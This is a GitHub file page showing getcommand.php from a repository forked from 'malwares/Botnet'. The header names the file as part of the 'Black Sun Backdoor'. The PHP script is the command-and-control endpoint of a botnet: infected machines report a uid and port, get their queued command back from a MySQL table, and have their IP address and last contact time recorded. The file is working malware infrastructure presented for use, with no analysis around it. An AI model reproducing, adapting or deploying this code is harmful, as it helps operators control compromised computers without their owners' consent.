forked from malwares/Botnet
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathgetcommand.php
More file actions
68 lines (58 loc) · 1.86 KB
/
Copy pathgetcommand.php
File metadata and controls
68 lines (58 loc) · 1.86 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
/*
* ---------------------------------------------------------------------
* ____ _ _ _____
* | _ \| | | | / ____|
* | |_) | | __ _ ___| | _| (___ _ _ _ __
* | _ <| |/ _` |/ __| |/ /\___ \| | | | '_ \
* | |_) | | (_| | (__| < ____) | |_| | | | |
* |____/|_|\__,_|\___|_|\_\_____/ \__,_|_| |_|
* Black Sun Backdoor v1.0 prebeta
*
* (x) Cytech 2007
* ---------------------------------------------------------------------
*/
Error_Reporting(E_ALL & ~E_NOTICE);
include("conf.php");
function ConnectMySQL($host, $login, $password, $database)
{
$connect=mysql_connect($host,$login,$password);
if ($connect===FALSE)
{
die('cant connect to database');
}
$selectdb=mysql_select_db($database);
if ($selectdb==FALSE)
{
die('cant select database');
}
}
ConnectMySQL($db_host, $db_login, $db_password, $db_database);
$uid = htmlspecialchars(addslashes($_GET['uid']));
$data = htmlspecialchars(addslashes(getenv("REMOTE_ADDR")));
$gcmd = $_GET['getcmd'];
$port = htmlspecialchars(addslashes($_GET['port']));
$lconnection = date ("H:i:s d.m.Y");
if ($gcmd == 1)
{
$res=mysql_query("SELECT cmd FROM $db_botable WHERE uid='".$uid."'");
for ($i=0, $ROWS=mysql_num_rows($res); $i<$ROWS; $i++)
{
$row=mysql_fetch_row($res);
for($j=0;$j<count($row);$j++)
echo $row[$j];
}
if($row)
{
#echo mysql_result($select, 0);
$update = mysql_query("UPDATE $db_botable SET data='$data', lconnection='$lconnection', port='$port' WHERE uid='$uid'");
#echo mysql_result($update, 0);
}
else
{
mysql_query("
INSERT INTO $db_botable (uid, data, cmd, port, lconnection) VALUES ('$uid', '$data', '', '$port', '$lconnection')
");
}
}
?>